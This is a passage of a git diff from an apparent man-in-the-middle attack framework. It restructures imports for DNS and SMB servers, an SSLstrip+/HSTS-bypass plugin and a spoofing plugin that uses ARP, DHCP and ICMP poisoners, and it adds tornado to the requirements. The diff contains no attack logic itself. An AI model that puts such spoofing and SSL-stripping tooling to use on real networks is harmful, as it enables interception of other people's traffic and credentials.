print "|_ DNSChef v{} online".format(DNSChef.version)
+#Start the HTTP Server
+#from core.servers.http.HTTPServer import HTTPServer
+#HTTPServer.getInstance().start()
+#print "|_ HTTP server online"
+
#Start the SMB server
-from core.protocols.smb.SMBserver import SMBserver
-print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
-SMBserver().start()
+from core.servers.smb.SMBserver import SMBserver
+print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
+SMBserver.getInstance().start()
#start the reactor
reactor.run()
diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py
index 958707d..b346b35 100644
--- a/plugins/SSLstrip+.py
+++ b/plugins/SSLstrip+.py
@@ -22,9 +22,8 @@ import sys
import logging
from plugins.plugin import Plugin
-from core.utils import IpTables, SystemConfig
from core.sslstrip.URLMonitor import URLMonitor
-from core.dnschef.DNSchef import DNSChef
+from core.servers.dns.DNSchef import DNSChef
class HSTSbypass(Plugin):
name = 'SSLstrip+'
@@ -37,7 +36,6 @@ class HSTSbypass(Plugin):
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
- ip_address = SystemConfig.getIP(options.interface)
if not options.manualiptables:
if IpTables.getInstance().dns is False:
diff --git a/plugins/Spoof.py b/plugins/Spoof.py
index 52d9e74..37379fd 100644
--- a/plugins/Spoof.py
+++ b/plugins/Spoof.py
@@ -19,11 +19,11 @@
#
from core.utils import SystemConfig, IpTables, shutdown
-from core.protocols.arp.ARPpoisoner import ARPpoisoner
-from core.protocols.arp.ARPWatch import ARPWatch
-from core.dnschef.DNSchef import DNSChef
-from core.protocols.dhcp.DHCPServer import DHCPServer
-from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner
+from core.poisoners.arp.ARPpoisoner import ARPpoisoner
+from core.poisoners.arp.ARPWatch import ARPWatch
+from core.servers.dns.DNSchef import DNSChef
+from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
+from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
from plugins.plugin import Plugin
from scapy.all import *
diff --git a/requirements.txt b/requirements.txt
index 1df0c6a..05433f1 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -13,4 +13,5 @@ service_identity
watchdog
impacket
capstone
+tornado
pypcap
\ No newline at end of file